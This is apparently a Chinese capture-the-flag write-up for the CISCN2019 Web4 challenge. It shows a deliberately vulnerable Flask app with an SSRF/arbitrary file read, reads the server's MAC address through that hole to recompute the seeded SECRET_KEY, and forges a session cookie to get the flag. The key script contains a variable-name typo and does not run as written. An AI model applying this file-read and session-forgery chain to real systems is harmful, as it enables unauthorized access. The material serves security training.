[CISCN2019 华东南赛区]Web4

伪随机数专场了……

题目一览

image-20200404160322275

简单的前端,点击后会跳转,没有啥信息。

image-20200404164350982

P1 任意文件读取

说一下自己的fuzz过程。

首先这个url参数是可控的,看传的是http协议的url,尝试传个file://看一下:

image-20200404165032380

被ban了,那么试一下伪协议,没执行:

image-20200404165120999

注意他的url构造:read?url=https://baidu.com,感觉不像是PHP站点。

继续fuzz,发现可以任意文件读取:

image-20200404165357912

image-20200404165603007

赵师傅的默认目录为/app,所以感觉这可能是个flask架构,/read是其中一个路由:

读一下app.py,成功:

image-20200404165759550

P2 Flask session 伪造

来看下源码:


# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print str(ex)
    return 'no response'

@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'

if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0"
    )

分析一下关键点:

@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'

路由/flag可以读取flag.txt,但是要求有session且有具体要求。这个session是怎么来的呢?

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233) #!!!
app.debug = True

@app.route('/')
def index():
    session['username'] = 'www-data' #!
    return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

复习一下Flask中SECRET_KEY的重要性:

image-20200404171507620

类似于php的secert_key,如果知道了这个值,就可以控制session。

而这道题的SECRET_KEY采用的是random()函数生成,其结果是伪随机数

而且还给了伪随机数的种子:

random.seed(uuid.getnode())

uuid.getnode()返回的是什么呢?——MAC地址

image-20200404173438067

image-20200404173503025

我们来看看怎么读取linux的默认网卡eth0的MAC地址:

image-20200404173732271

这也有文件……一切皆文件不是说着玩的。

读一下,获得了mac地址:

image-20200404174109597

这里的MAC地址是16进制形式,uuid.getnode()返回的是十进制的MAC地址:

image-20200404174239138

那么需要处理一下,然后就可以写个脚本生成SECRET_KEY了:

import random

ma="02:42:ae:01:d3:41"
mac=mac.replace(":", "")
random.seed(int(mac,16))
key = str(random.random() * 233)
print(key)

OK,密钥到手:

image-20200404190234618

下面来伪造session,这里介绍一款工具:flask-session-cookie-manager

用法如下:

image-20200404175205752

这里直接encode构造payload会打不通,我们先decode一下看看默认的session:

decode -s SECRET_KEY值 -c Cookie内容

Cookie内容直接访问/抓包查看:

image-20200404190343199

跑一下脚本:

image-20200404190359948

ok,看到结构了:

那我们构造一下,把username的值改为f*ck

encode -s SECRET_KEY值 -t 要构造的Cookie

image-20200404190636739

接下来访问/flag,把Cookie改成我们构造的session:

image-20200404190754490

成功获得了flag。

猜你喜欢

转载自www.cnblogs.com/keelongz/p/12633632.html